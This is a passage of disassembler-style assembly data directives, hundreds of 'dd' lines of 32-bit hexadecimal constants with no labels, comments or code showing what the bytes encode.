		dd 493E8F56h, 6706C491h, 99D6B3B0h, 2701E6EEh, 1A997F9Bh
		dd 4AF86F96h, 0BF6078Bh, 0FE3BD94Fh, 404BABA0h,	69C09C73h
		dd 63EB7057h, 5DCF0A2Bh, 0F2323Ch, 0B7DB7DE8h, 0EA3A73C0h
		dd 0FE4D809Ch, 0C758CB48h, 53BD00BBh, 0AEAF4412h, 82006D18h
		dd 775C2DB3h, 900A338Ah, 140505BEh, 0D09A1264h,	3AE7865Ch
		dd 0F53FB105h, 0E497D1B7h, 32FD05C0h, 0B8CA0310h, 4C767D1Bh
		dd 403F180Fh, 0F9470F12h, 53004811h, 688137BEh,	0B22FE0h
		dd 0FD46F410h, 0D4A46CDFh
		dd 1AD13300h, 0BEEE3673h, 368DEC7h, 9EB6B8A2h, 4E1858A0h
		dd 0E1D6F502h, 0E137E0B5h, 1CF1A3CBh, 64C0F4h, 5BF50B7h
		dd 8DEC7316h, 0E8B12201h, 899172D9h, 2568880h, 4FFA3298h
		dd 0F87B4C3Fh, 0CB0ACD00h, 0B0F0CC86h, 821F095Dh, 9040602Ah
		dd 0CD049B85h, 37BC9DC3h, 4439CB7h, 289F6FB1h, 88FA15E8h
		dd 481E07B0h, 87C0FE07h, 8BA5E9h, 0F7DCEE8Dh, 0E3FA33FBh
		dd 0F10CA9D6h, 841D2905h, 44F53422h, 41005BF7h,	0AAA974E9h
		dd 13AE84h, 5A163FDBh, 8570D547h, 0D98DB700h, 998AAF56h
		dd 125B1D07h, 0D8F94F2Eh, 6126F760h, 72700297h,	0A73CB809h
		dd 74B40060h, 418C243h,	0CD01006h, 0AABCA09Bh, 1B3EC600h
		dd 4C9140CCh, 0F1F6616Dh, 248C1D15h, 0E3E45674h, 11E5C130h
		dd 0CE9B54h, 4ECAD60Bh,	351E87EBh, 72CF39h, 0D144D348h
		dd 362DE24h, 328F753Ah,	86B12E2Dh, 0DA91801Dh, 85BC82AFh
		dd 0F5E01A2h, 5689AE43h, 0A6B8504Fh, 0F092EDCEh, 0E2C09A01h
		dd 7F0CE44Ch, 3A301DF1h, 710D3017h, 0AE4FB891h,	5A477B11h
		dd 76FEA700h, 1B7D95D0h, 36880905h, 0E4C0E711h,	0F2C354h
		dd 0C1DB7FE8h, 0F58E151h, 0F8322C2Ch, 78A90E0Ch, 6E7200FAh
		dd 4DB5D55Dh, 0BF09C08Bh, 5BB302h, 75283D43h, 0F1AC0080h
		dd 0D627DBCFh, 0C200C911h, 7F415A7Eh, 0AE8366h,	0BE5F1710h
		dd 0D0999EFAh, 1D284058h, 8D80E14Eh, 87437E0Ah,	334A1835h
		dd 719A3093h, 0A24DC100h, 0D837C055h, 0C66B00E3h, 3014F96Dh
		dd 1F00A8F8h, 18366CF7h, 74F9A83h, 0EF264A93h, 1C441107h
		dd 0E025D958h, 0F200DE0Fh, 5D94565h, 0B8C1140h,	0CD600A5Bh
		dd 9EE22418h, 0FCD3C12Ah, 3B7BD958h, 99430025h,	0E787A981h
		dd 17EE676h, 971096C2h,	0EC0F5F88h, 8D0060F9h, 5471EC27h
		dd 76DBDC9h, 0DE99062Ch, 58EA0028h, 0CF2E8DEBh,	3680F0CBh
		dd 0DD948ADAh, 0CE5407F1h, 0A03F60FEh, 9096DC33h, 510CC900h
		dd 76F5BFE9h, 904E5807h, 0E4F4A000h, 739F7B98h,	4B127102h
		dd 0E1EA3FAFh, 0F070FDE4h, 18A6EAADh, 0C894B6E2h, 1D0478A2h
		dd 406F72BAh, 0F0B71491h, 5924E434h, 5412043Eh,	0A3446A6h
		dd 0D6202962h, 154A0059h, 5072BC9Ch, 0CF3822A1h, 10C400D9h
		dd 47F6446Eh, 5C7800CBh, 0C6500E69h, 0C11E7A56h, 13C1D9A0h
		dd 1DEC9D20h, 79380120h, 736830B6h, 16027D20h, 98A90D00h
		dd 413189EDh, 0C96F013Eh, 0A893EF50h, 2384205Eh, 7CE14900h
		dd 0B69CB2B1h, 37E300FBh, 0ED4F221Eh, 0FF00AD78h, 0B74EA185h
		dd 3F8072h, 91363A63h, 0EF7EC081h, 9C89CE1Eh, 0B0185A80h
		dd 906EAF04h, 5B5C16C0h, 99BC20CAh, 0CC0A087Eh,	8CF88DEEh
		dd 49CAC187h, 0CCE8AF0h, 294B0246h, 0E988A813h,	7F770040h
		dd 9B731B00h, 0B208D3C3h, 68ECAAh, 0C9A34C49h, 0EE926FDAh
		dd 2BE0B03h, 0F898BA73h, 0EF3274h, 5861C81Bh, 9F6592B1h
		dd 627F0200h, 0B594D828h, 3D420E91h, 33A0C10Ch,	616AF55Ch
		dd 0CF862401h, 0B0DEB15Ah, 3EFDBC60h, 9F039170h, 66890E7Fh
		dd 0D9C23C8h, 0CD30E401h, 0E9435C09h, 1DD8B3F4h, 0C0A69E31h
		dd 1A59AD02h, 5D00635Fh, 70E2DB83h, 0E4DEBFh, 0A614E01Bh
		dd 8B79296h, 0FD3CF0Eh,	6028CE59h, 6CCCDC7Dh, 302B00F9h
		dd 5BC2D818h, 9200CF87h, 39BB90C1h, 24567481h, 1C5E8A1Ch
		dd 5940C02Fh, 0DD270C9Eh, 0D3984400h, 0AAA5D161h, 0C09C00C7h
		dd 99CBB75Dh, 0F75C4EB6h, 0E37300D4h, 0BE01F2FFh, 0C7FE3C93h
		dd 53F440Fh, 96B4A5C0h,	0A6EEE48Fh, 0AA8BB600h,	99163001h
		dd 0EC40E1Eh, 7A81F739h, 64AC5A1Bh, 150C4060h, 282D6254h
		dd 0E87D0232h, 0D43948D3h, 170B461h, 3181B7BAh,	1F29C2EBh
		dd 0AE88247Fh, 0A3DDB906h, 10A9CAh, 40FD7413h, 9DED0577h
		dd 94000890h, 8C9BF4CFh, 0F71E3A1h, 68C91D2Ah, 0FD3420E0h
		dd 0AE0BBD0Ch, 4EC326Dh, 50C0A30Bh, 13D59092h, 8E363BE6h
		dd 1AFFF200h, 500E5C16h, 61E28217h, 10911FA2h, 38530AE8h
		dd 0CE285270h, 4DF900F0h, 0CBC058B6h, 3F0F76EAh, 0EFF3896Fh
		dd 0E9C553Bh, 80C9617Bh, 0C164CAC8h, 0FA1FF233h, 6C67487Ah
		dd 6DD7A400h, 6ACFF6F8h, 0BB0527E8h, 0D9B90EF3h, 61695C0h
		dd 22F70041h, 1CD82052h, 0D8906C87h, 80E3543Dh,	67425758h
		dd 0C27644h, 99294363h,	0A66D5E9Ch, 0DF0458B9h,	28A2F321h
		dd 49207DE8h, 603F0004h, 0FE3C4712h, 1884D4B7h,	81328607h
		dd 0A2178EB1h, 0FC0ECF30h, 7FF822Bh, 0B510809Bh, 12D582C7h
		dd 80EAB12Ah, 56CDF150h, 5AF47503h, 61D209h, 10484E08h
		dd 4F3736FEh, 3C566900h, 9A141994h, 0BECF0058h,	0B132D9A2h
		dd 51F2D82h, 12000445h,	631851Dh, 181F04Ch, 2CED95CEh
		dd 0F0BF49CFh, 0A20AA179h, 60DEB72Dh, 42383D18h, 4AFF7C3Ch
		dd 9F9422D3h, 0FA02BA04h, 0D4E0410Bh, 0BE174F85h, 0E001F298h
		dd 8EE14394h, 399EF7D9h, 0B1E200E6h, 0A9E059A2h, 12103D0Eh
		dd 9CAA8ABDh, 17E8E11h,	0B99308E1h, 0CA158FC5h,	0B044B0F0h
		dd 4A1604CDh, 916B3998h, 9F6CD990h, 1C001E48h, 0D22D68FCh
		dd 0E6390DDh, 0D770A376h, 0B4BE2Ah, 4927DED4h, 8D72791Eh
		dd 879FE818h, 2D68908h,	5CBFF638h, 1C48856Eh, 480024E5h
		dd 9B015BAEh, 0A14F2h, 0F7C2C37Dh, 981F2707h, 2AD03100h
		dd 0D5B74B16h, 987B6072h, 0C72DDB53h, 0A9639F30h, 0C62A34h
		dd 0C0E94277h, 0A6B7D4E0h, 0C0628E28h, 0B9CBAC03h, 6E9C49h
		dd 3BC15531h, 6FEC2926h, 5CF4D000h, 0DC2D9AC5h,	21FED6h
		dd 541124Eh, 878588B1h,	284449h, 8F39F11Dh, 3B829EAh, 36791FFh
		dd 0D0C7D54Ch, 794D16Dh, 0CE078575h, 20490DA8h,	0B71DF90h
		dd 2AB03002h, 187A25D8h, 0D0698203h, 28C1DE2Dh,	48B89728h
		dd 0C020C94h, 0DC888C12h, 0B35D29C0h, 989C8A54h, 6F95510Ch
		dd 8511BDh, 1C92FF7Bh, 0ED7DCDBFh, 1177138h, 2BF7E755h
		dd 69F49012h, 87D1148Eh, 8D00C8E2h, 59190F7Eh, 8F26E54Eh
		dd 650330D6h, 0C0BA7C23h, 84AF71h, 85CD1BC1h, 88F967B0h
		dd 7D39E61Eh, 0DA0110ECh, 0BB569B9Eh, 3A4A1F0h,	67334E1Eh
		dd 16F8C6BDh, 6400848Bh, 35421DB6h, 1FBABCABh, 5E7BDE4Fh
		dd 0A95E4EA1h, 0AAE0332h, 707C70F5h, 0FA046D52h, 9ACB3BC0h
		dd 0C01F8939h, 0F700A0E5h, 94850D6Ch, 490F1DBBh, 0C25C80AAh
		dd 897BAE06h, 0A3FA1E01h, 0B4EF66Dh, 843B2990h,	0EA4808C1h
		dd 29322A4Ah, 0A0F1097h, 8AFBB688h, 29217AC3h, 0D980843h
		dd 0B484C290h, 427F4807h, 682EF10Ch, 53288FCh, 8848AB88h
		dd 0BA90F575h, 485B6784h, 3CF84287h, 26218624h,	11B31251h
		dd 445208B7h, 4284B5FFh, 3FF211EFh, 0CB087E21h,	841B9057h
		dd 4A4821C2h, 24526342h, 48D34CF7h, 0E40200E0h,	37E850C1h
		dd 0DC00D626h, 66FC328Bh, 0FA35D8D9h, 75DB00E1h, 0DEF3B7E4h
		dd 8D0FD791h, 406EF188h, 0C792B94Dh, 693B0055h,	98AFB7BDh
		dd 52003202h, 0C4CB009h, 1567064h, 0F10AA7E1h, 30DC1558h
		dd 0EF002A71h, 93ECF7F5h, 38651694h, 0E380B3C2h, 128E15BDh
		dd 0B6007492h, 78D8FCE8h, 1DCA90F8h, 0C0BCDAABh, 8407119Eh
		dd 0A97B1B62h, 0CC5B371Fh, 746D6B40h, 29BC8C4h,	0B12F65B0h
		dd 584087E3h, 2A008F72h, 0B92D9F1Bh, 83A9A3h, 44ED5143h
		dd 0D16CF9A1h, 0C8DCD300h, 9BFBAB63h, 6F3B037h,	0FEC45827h
		dd 8E01D1A8h, 3B15A349h, 75D9D8EEh, 929A39FCh, 7D7E0088h
		dd 7D1A654h
		dd 7300554Ah, 5AAD8F69h, 8DBB06h, 0BAEEF0D5h, 6BF70DCDh
		dd 0E1AE803h, 664744h, 0CC4E9628h, 0FD789435h, 7E2AB51Eh
		dd 0F05CA200h, 0C3A4DCh, 0DD30B2B0h, 5DB82C1Fh,	8FE61606h
		dd 1D40380Bh, 0BC3226h,	90D81EEAh, 290009ABh, 92EB1AD5h
		dd 0F0473AFh, 5FBD78Fh,	6E7C2E61h, 0F22F021h, 0CAA4E10Eh
		dd 308A4257h, 0C8E56381h, 0BE8CF2h, 75C6DF5h, 0BD979FF4h
		dd 0C53D95B0h, 1AAE803Ch, 0D541A92Bh, 0ACEE05A2h, 5E0630h
		dd 48528C88h, 0A81D7E04h, 7940449Dh, 1C8D7AE2h,	72D03D4Ch
		dd 11485480h, 0E081A7B7h, 7A1F6300h, 0F758734Ah, 7034263Ch
		dd 0F94E00D7h, 716D5F48h, 64AFB600h, 7D4F46F6h,	0D1650AFAh
		dd 7C0BDBh, 0FF505F0Ch,	0D001AA5Ah, 3BC0EDF8h, 8CF87ADCh
		dd 386412BDh, 484D0962h, 16B81B00h, 1F00C525h, 5B2015A0h
		dd 73A8E30h, 6BFE4D6Ah,	0C3C7C0A6h, 90F0B7EAh, 500F6E6h
		dd 0B82236EBh, 12F85D6Eh, 40468854h, 37951F14h,	9A05B39Bh
		dd 0EC41EE94h, 0C213490h, 88E000F6h, 0BEAAC518h, 3FB8D16Fh
		dd 62026607h, 7750B4D8h, 0C7AD05h, 0BACF90A8h, 1E1B24A3h
		dd 20A04500h, 0FD3AA62Bh, 0A06B633Dh, 0C6E07134h, 0D140B7C2h
		dd 4A3E00B0h, 0DF9CDDF6h, 63F5B5Ch, 0B71400B3h,	5973B82Eh
		dd 0B2250085h, 915A7801h, 0E100ED33h, 0CCDE273Eh, 1D734980h
		dd 0A2A7C5h, 5D6C3B96h,	0A51C3219h, 0F9BB31EAh,	2B429900h
		dd 88689ABCh, 80C84808h, 80C65F1Dh, 5C50472Ah, 21000B8Ah
		dd 0C5B3C191h, 0BB7E34h, 0D7B2AF56h, 3AA0A26Dh,	0C6CBB700h
		dd 3F11A51Ch, 0BF061E25h, 0E2FA83D1h, 0A4E005E0h, 0FE00FBA3h
		dd 3A02C439h, 6AEDFCh, 0E8474314h, 82045520h, 1536840h
		dd 6BB2D219h, 430C9C10h, 6AD0B9F0h, 4D006108h, 493ED1DDh
		dd 7B84EFh, 0F929EC4Ah,	0C2358875h, 2B777404h, 3FC0D1AAh
		dd 195342Fh, 5AEF4E01h,	0F17AF846h, 4C68E456h, 39732098h
		dd 2F540F1Fh, 3FC6A880h, 0D6F902h, 0A4E02CDDh, 1956AD3Bh
		dd 0EB230B00h, 57158F44h, 0A9DF00EFh, 0EAB64E69h, 160349D6h
		dd 5FFDD080h, 0A348907Ch, 77E909D2h, 6500EF69h,	7F1C701Fh
		dd 4A463100h, 1BCA6DEBh, 9FDF0093h, 0A3D606BEh,	8898372Ah
		dd 3843C900h, 3579A096h, 40F3395Fh, 62301C30h, 3B006E86h
		dd 7D89E2F5h, 7A83D9h, 0FA0CCEBDh, 62079E17h, 3E42E700h
		dd 8B4BF32Eh, 0EECE28Ah, 0BF1113E3h, 3883E800h,	0B101C5E6h
		dd 4E75C831h, 4480D0E4h, 9DFD6989h, 37004173h, 0DA08957Ah
		dd 7E6F921Fh, 26B270EBh, 0C8B503h, 7D5FC678h, 810F4CCBh
		dd 601C21BAh, 53F879D3h, 49AF0011h, 7061A888h, 0E8A063BBh
		dd 76003B47h, 112C086h,	74AB13h, 0BD358F15h, 0BF82585Ch
		dd 4AB2AA00h, 0A13A3DA7h, 6CD20088h, 0AC39CC8Ch, 5E489132h
		dd 28400014h, 4F1A4AB1h, 2CFC3C8Bh, 7EA67700h, 6A277005h
		dd 0A4528100h, 0A5EA336h, 0B26C00ACh, 5F8006ADh, 29005D89h
		dd 52A995DDh, 0E66879h,	0FDF37688h, 58825B1Bh, 999D9300h
		dd 63160EFAh, 9657176Ch, 257F0E51h, 3187C1DDh, 30F1AB3Eh
		dd 8100E3DFh, 37896D99h, 3A126FCh, 729BF5C5h, 0E2003DF8h
		dd 4C38325Fh, 8D460Bh, 1AF2AFFh, 45E21F1Ch, 5400BB7Eh
		dd 0E1CE224Fh, 0B327619h, 0B0513413h, 0AF994503h, 0E83E1201h
		dd 808D9E6Fh, 2CF14DE0h, 3077584Bh, 0A3940D38h,	4E581E60h
		dd 0D20C8Fh, 6833A8C9h,	32EE7E99h, 806D7A3Bh, 2262D97Bh
		dd 0A12F86Ah, 8AF7EC88h, 0E88C16ECh, 43FF0180h,	0D0F49EE5h
		dd 0B0C71C75h, 25CE307h, 44345FACh, 0EEC0BFDFh,	0CA03D70Ah
		dd 0D52E1553h, 7B80E0CFh, 0C04058FBh, 10ECAC2Ah, 0CB569Eh
		dd 31B9C29Fh, 82BFD0Eh,	664D3EA8h, 0D12C4407h, 0A5CADCE0h
		dd 0FE6E00B5h, 5F6968FBh, 6003F9C4h, 7E332451h,	2D3299E2h
		dd 64E420h, 0D7204544h,	0FF58E774h, 0C6001FE0h,	30DFB4F9h
		dd 0E827895h, 7C892F53h, 737649E0h, 0FF0E81F0h,	84A9E523h
		dd 0C5C06619h, 24375A3Dh, 0D793DDh, 69D2822Dh, 0EA006595h
		dd 57D9E239h, 2F9105h, 2573CD4Ah, 90AF6F3h, 0ECFB4001h
		dd 22DA8964h, 2EF43CF4h, 14FCCBh, 232A06FEh, 0D73F9CB9h
		dd 3DAB028Eh, 40C22038h, 1076D5h, 25D54A47h, 6E30438Ah
		dd 857A2900h, 0CCEAE479h, 1E620EC7h, 34015105h,	0ECC0A224h
		dd 1600D749h, 6DA50B1Ah, 523663h, 4B04DBCDh, 853D38F8h
		dd 0E2745F0Eh, 37C15E9Eh, 208049CBh, 3B6F9C70h,	430BAE24h
		dd 1FC709h, 0DC64AF44h,	0DD07C9A0h, 0AB58EF27h,	0B2521100h
		dd 557405ECh, 80812163h, 431DA288h, 83E13A00h, 98624D6Ch
		dd 0A7F50745h, 30872305h, 80C9966Dh, 32853712h,	0CDFA7000h
		dd 28F2B1h, 0D22CD073h,	0CC295640h, 1B10CA01h, 885D4CA0h
		dd 0AEF3E4h, 0B67DF838h, 740D557Ch, 260FD307h, 333C659h
		dd 10CFE0D0h, 63751725h, 0C7A10091h, 70FAD2FFh,	5EF6B401h
		dd 315477A7h, 97D84E8h,	108E7B8Fh, 8678AE80h, 400F087h
		dd 0E4FCB4F2h, 0B0ADAB29h, 55122E6Bh, 0A7780E2Ch, 3C275960h
		dd 13000BE9h, 0A42E0E4Fh, 7598A0h, 0CE0F12Bh, 6DB37948h
		dd 4D8FDC00h, 0A52F09D6h, 66E91780h, 8AA400FCh,	41461DAFh
		dd 9B4735Ch, 482A6C90h,	516DEE8h, 5C7D32D3h, 25D4437Bh
		dd 2DA86E01h, 9600044Ah, 0CF2183ABh, 33FE8FCh, 1D9E9755h
		dd 29C03090h, 6A7495B8h, 0EB88350h, 6C5FA005h, 0E80EAAAh
		dd 63E6E1h, 78522DC2h, 0D212BD01h, 27760E00h, 0D9A2608Ch
		dd 807003E8h, 5AFA4D75h, 0C84BFCA0h, 0A00849h, 47E15BDFh
		dd 24BA98h, 7D2D8D3Ch, 0F933E48Ah, 0E3005970h, 0F139785Eh
		dd 12EB4BAh, 28BDC2AAh,	0D08DDEBCh, 6DF07C04h, 0A71C3E00h
		dd 0E8EEF3F4h, 0F542078Eh, 40C95C27h, 59D91193h, 0A44CFB00h
		dd 0BFDD3802h, 475002Eh, 7246A0FCh, 0C200CCAFh,	3F67AB5Eh
		dd 0FA7EE1Dh, 0C8FDC4ACh, 13BF52A0h, 7003430h, 117F64E0h
		dd 0A1CAEBh, 5D2C32B7h,	1686419Ch, 1DEC2200h, 20B609C9h
		dd 0ABAC018Bh, 0DEB388CBh, 5524605Fh, 1EE00300h, 31437A30h
		dd 865A0067h, 62EFBAF2h, 5F00FE59h, 891C9E22h, 83ADB6h
		dd 0AE302048h, 0AF702AB8h, 993F1A17h, 224F11Eh,	0ADD9B900h
		dd 772C88ABh, 140FA46h,	708FB039h, 7055A092h, 5101FDB5h
		dd 0C414E72Eh, 52303FB5h, 0D699006Dh, 8CB920D7h, 7900F0A5h
		dd 1370A96Ch, 77CF9DE1h, 0DF1C0072h, 7D8FBDC1h,	504C73E4h
		dd 0BA4200E5h, 648122CBh, 0C4091445h, 1014A44Ah, 4C7F9462h
		dd 720CD3h, 6C5960CCh, 860B7865h, 0B3D6D400h, 0B595D835h
		dd 6356000Ch, 88CA69Bh,	0C2049420h, 2931C892h, 0C032D7C0h
		dd 57A4A085h, 8C9D276Eh, 628A0C22h, 4263908Fh, 4AD031FEh
		dd 0AF00B7BCh, 0AAEA13FBh, 0F1D135h, 0DE7577FDh, 7686E068h
		dd 0DFE1C703h, 726B3833h, 50F31631h, 0EA5C00DEh, 0E467A90Bh
		dd 78830237h, 0D5D03870h, 314E6077h, 3FCC1597h,	67165E17h
		dd 0C1282418h, 359600D2h, 0FF231420h, 13F8D883h, 3646F900h
		dd 2C278862h, 2DDC1D6Ah, 0EE0600FDh, 0AC7DF387h, 3602487Eh
		dd 0D4EA11AFh, 0F0507031h, 0B2B02C7h, 0EC4722A0h, 85FC9C62h
		dd 0E062003Ah, 8F264DC0h, 2ECEF417h, 900FEA7h, 4A80A672h
		dd 92932129h, 515E8A30h, 1F547F82h, 0E62DD3D0h,	9DEF0CA3h
		dd 0DD3C3C59h, 61BC0BA5h, 0BB4009Eh, 0ADAA59h, 160A7F4Ch
		dd 0B3EEE877h, 80E0480Eh
		dd 82ABE0E2h, 0E8FA0CF2h, 0A4790706h, 1C1F78A2h, 58093440h
		dd 490710h, 28E795A0h, 4BCB003Ah, 3FEF3796h, 0C90085E2h
		dd 987588B1h, 0A8705Eh,	0BD2D252Ch, 33668360h, 491C9000h
		dd 1D3D05F0h, 0C17600EDh, 7BDD52C7h, 0C00D070h,	2D2A827Dh
		dd 3C3B7C4h, 42382916h,	6A00EE12h, 47764C68h, 74C2937Ah
		dd 1F633C9Eh, 0C4869B00h, 0FFB14294h, 0F55AFB00h, 0FE206EC6h
		dd 0B54F0015h, 0F006D2E4h, 0BE007DB8h, 0CBEDFB47h, 9E5EF2h
		dd 0A837D64Ah, 43751F2Eh, 76DEE300h, 0A7A92630h, 0E2CC073Eh
		dd 604DFD13h, 0BF6651B6h, 0BE39FC1Eh, 7B2D5E80h, 1D06936Eh
		dd 403D5BDEh, 0A9A74738h, 650720CAh, 4AA4F85Fh,	0BB9025F0h
		dd 0DB3200B0h, 482D91B9h, 9500A9CEh, 8CFBEA0Ah,	5BD5D38h
		dd 0DC040D8Eh, 418C009Ch, 68CBB352h, 0B736A600h, 28593110h
		dd 0A3A901C1h, 0BFE0795Eh, 0F80DC041h, 542CF20Eh, 37E5A0E3h
		dd 0D801EDh, 0A5FA1BCBh, 5E7CF0C5h, 0B9C3D000h,	0CCA3AAB5h
		dd 4F320089h, 4165C222h, 0AE00EB55h, 3ABAC40Fh,	749B1B0h
		dd 0FA2BADF2h, 0F092719Ah, 0EC89C853h, 9D0090F4h, 0AB98C4C2h
		dd 45D2F04h, 0DDFEF958h, 1F42C005h, 0B007783Ch,	7B4C7462h
		dd 0E1C5A09Fh, 0FCD677D3h, 6B89Dh, 0D78409B4h, 0BB3769E7h
		dd 0A1366F01h, 7CB36496h, 2C1BDCFCh, 784256h, 4F55A890h
		dd 40B0075Ch, 4C195AA0h, 0C5A65300h, 0FF5DC392h, 3770007Eh
		dd 0A8889C20h, 2D48289Ah, 563D0044h, 4DD79E46h,	0B28C0F4Fh
		dd 0E1C08FCDh, 14A1771Ch, 0D11A0700h, 34E47C43h, 92167DA4h
		dd 3DD503B8h, 0BBA5403Bh, 1C4465AAh, 8FAAEA62h,	849440B6h
		dd 57DB0DEEh, 0E0387241h, 0E7073B02h, 0C0F68CBBh, 47007E37h
		dd 76173ABh, 0D6F47174h, 6172049h, 0F898FC4Dh, 0ED2E3B7Ch
		dd 7709D06Eh, 5C88E003h, 759F706Bh, 820C3B92h, 8A4840B0h
		dd 65004606h, 0F59C7503h, 71E1B1h, 0A2CC6C5Ah, 404EA87Dh
		dd 0EC805301h, 7F72185Eh, 0AC16C0h, 73550959h, 0CFEEBD3Bh
		dd 1902D57Ah, 8F476DBBh, 0DDD9C01Fh, 25000AEh, 0C79AB32Dh
		dd 0A2E2B654h, 0AAFAFF00h, 0EFD023FCh, 502A0015h, 62210907h
		dd 0E200A253h, 3E99D91Bh, 7742CEAh, 0D0F639CBh,	0A5BC603Ah
		dd 0F14BB38h, 1794677Eh, 94007B04h, 2FF556B6h, 9AA1007Fh
		dd 0E4750543h, 571D8778h, 1F9FD04Ch, 290BC8C1h,	0C47083A7h
		dd 0D97F0001h, 38F15B72h, 20091130h, 8088E7BAh,	8E6E2CF0h
		dd 1A55BF9h, 397DC108h,	652F701Ah, 7323D400h, 0B6CEE42Eh
		dd 34A40052h, 0B06829BDh, 0F40074ADh, 0C040B409h, 3A720DDCh
		dd 8301A4BEh, 78259B1Dh, 8BF45173h, 271C30A7h, 7F466500h
		dd 80F50E95h, 579A00B5h, 5F7C242Ah, 69EE2D88h, 0D9CF5300h
		dd 8714FD0Fh, 4EF296h, 82547A48h, 94EE1391h, 0ABAA9F02h
		dd 0D929D0D3h, 9BA108A0h, 0B5194B00h, 20A37Dh, 0EFAC5546h
		dd 0BC543E98h, 305A7012h, 0DA623E00h, 9D3489h, 11403355h
		dd 8CC81096h, 0FE61EE00h, 4FDDADE7h, 0D309009Ch, 6D440AC6h
		dd 567BC168h, 539D371Ch, 8238D40h, 24CB51Ch, 0D121DA41h
		dd 9DC0EF47h, 0AB718E0Eh, 866A5901h, 9C6CC1E1h,	0F8E47BE9h
		dd 30E9025Eh, 1B234ED3h, 608B4FE1h, 0AA00A24Dh,	0E5107CFBh
		dd 0E82C75h, 0D1F9CEC1h, 1A6AD041h, 0EB43CA09h,	9DF887CBh
		dd 1981B340h, 807F0034h, 1CF07728h, 94E05BC1h, 0E9E7F212h
		dd 530BE00h, 0BA5545h, 216E3258h, 0B9D717BFh, 654EA507h
		dd 68B02FC4h, 246B12FDh, 0D885E6h, 5427344h, 0D900DE71h
		dd 0DB184F4Eh, 506FBEh,	870E57F7h, 547DA386h, 0D2D0CF03h
		dd 80CCE6B7h, 0B4B71h, 1ACEB351h, 0B60870DFh, 5D4EEC00h
		dd 77E540D5h, 716F252h,	0E26B83DDh, 0DA0E20DBh,	0A103C734h
		dd 175E568Ah, 0E16DB2B2h, 6961E33Ch, 7FE85C8h, 3731F016h
		dd 671710ADh, 4C007C03h, 7F64D46Dh, 259868Dh, 32EAF727h
		dd 9C484EB0h, 580099A2h, 8C0990A5h, 5AABC8Fh, 17EB067Eh
		dd 7210D071h, 0BA24DE45h, 0C6125462h, 0B533E07h, 988075F7h
		dd 0BC7E57h, 766DD492h,	0DD7F3ED2h, 28FE5400h, 8895136Bh
		dd 4F610F25h, 0C6598ACh, 82ADC36Ah, 8CAAC800h, 1139222Dh
		dd 1754F7Fh, 7EA31310h,	0E6FB200Fh, 8800E77Ch, 22D6CEA2h
		dd 0AC893F3h, 19C354B8h, 0BA000ECh, 0FD12C94Eh,	7846BD1Dh
		dd 0C3BEB1CFh, 0E8C490F6h, 0C25963h, 82809942h,	0CB295A6Dh
		dd 3303C17Ch, 86A696Eh,	574FD8B4h, 9F83018Dh, 841ED5ABh
		dd 154EE082h, 791F0204h, 5088EA76h, 4C01989Dh, 7339B8F2h
		dd 43FB5C80h, 6DA0C79Bh, 4CB6AF03h, 133013Ch, 4D63BC98h
		dd 508DFFD9h, 11C97FACh, 2F05B27Dh, 0DA7D5D92h,	642EFF03h
		dd 5233B814h, 0CB50308h, 0EE5D2850h, 8E105921h,	51385ABDh
		dd 0D801428Ch, 3BE01AC4h, 4FD4A8C7h, 0C811072Eh, 50FB3902h
		dd 84F24B93h, 0C5219200h, 8094EA0Bh, 0F6AB2F60h, 1EA8C080h
		dd 5659E891h, 0FBC90724h, 0F8D08B13h, 0BC7AE36h, 0DF33DA3Bh
		dd 25506CC0h, 7DD53700h, 0FA0F5D94h, 0DC901A1h,	4805108h
		dd 0DB2980ADh, 8A672617h, 28E3C11h, 0E35F92h, 0C2DD49ECh
		dd 6A007BFCh, 2F0F819Ch, 30D7BDCBh, 6BC8474Ch, 0A0E3A3Ch
		dd 15B11452h, 0CC32288h, 0F949FDB5h, 182EAAB1h,	3C806403h
		dd 2F8F5C7Fh, 11F70024h, 0ED3D0E91h, 8667D861h,	1FB1D999h
		dd 418BFA33h, 9C8A29E8h, 0A9C38144h, 8CCC4767h,	19287AA0h
		dd 88EED9h, 0EDF50C8Eh,	31190224h, 0A0BC2500h, 2858E885h
		dd 75B03BCCh, 73A3B583h, 2C8894DCh, 0F6738016h,	0DA016DFCh
		dd 1F0D08E0h, 9AC015CAh, 0D00095B5h, 73D3468Ch,	0B1592800h
		dd 558E24E0h, 57FB00A0h, 54EA1407h, 3207EEB0h, 89587F97h
		dd 0C896D562h, 0CC3D30h, 6B21BDBCh, 817EB352h, 5145A500h
		dd 0A8DF8F83h, 0BAACA02Bh, 0CF12006Fh, 0D6BE4D3Eh, 18C02888h
		dd 628C83FEh, 0B0752470h, 34D90173h, 74A71AE8h,	0C7009970h
		dd 24A20929h, 1DFEB1C8h, 4956BB90h, 0D880115Fh,	31E9A5D0h
		dd 68D12C00h, 4ED78B37h, 988A009Fh, 35D8DB38h, 2B0030EEh
		dd 624B5AFAh, 0F085B4BAh, 2AB500C9h, 0F9B8CD08h, 0E01FDB10h
		dd 0C5C014A9h, 0AE9D58B0h, 0DF88002Ch, 0D5398ED3h, 4C078AB9h
		dd 931C1D4Fh, 0F06B6EB3h, 0FE713Eh, 1245D12Eh, 5B18E929h
		dd 0A10092ECh, 0B7AD8C31h, 0ECE1EEDEh, 6B6A005Fh, 0FFA69339h
		dd 924D142h, 8B008D06h,	2BB92D3Fh, 0B03B071Dh, 805F49F2h
		dd 815575DAh, 0BAB41F0Eh, 2228E7A5h, 9A144251h,	5E23EC8h
		dd 0F946FAECh, 3D80EADFh, 4A7D541h, 359265C6h, 0C8B880B1h
		dd 7C1C8C57h, 0F4C01F1Bh, 35DEC30h, 804900C9h, 7B183F43h
		dd 6EE0F1D9h, 4DA0B101h, 760605F3h, 1162DCh, 0A5C69883h
		dd 0EB9FD8BCh, 0BF81E803h, 0F81DA2AAh, 24DF3A3Dh, 8078DC30h
		dd 462E2057h, 2D020AACh, 8AD1AEFAh, 71C81014h, 9FEF2100h
		dd 2BEDE6DCh, 0EAAF38E9h, 0AD62260Fh, 0BDFFEEA0h, 0CE50B805h
		dd 1F0020FEh, 0A5929310h, 6F91F4h, 0A8C990E9h, 83E26453h
		dd 3850814Ch, 87258957h, 0AADC2203h, 0D8660Eh, 0EF4D81B4h
		dd 21AD6F50h, 8C9F561Dh, 0B0B14AC1h, 0B83066BCh, 0A0E903EAh
		dd 1E97215Ah, 163C86B4h, 0D273000h, 0CA4DB162h,	10AA0035h
		dd 23D5DD95h, 0EC3F70A6h, 4C440048h, 2D99D4CDh,	1B52036Ah
		dd 7671A353h, 859C1280h, 0FC956900h, 562B8F15h,	0A97701C1h
		dd 1172EBABh, 40C22061h
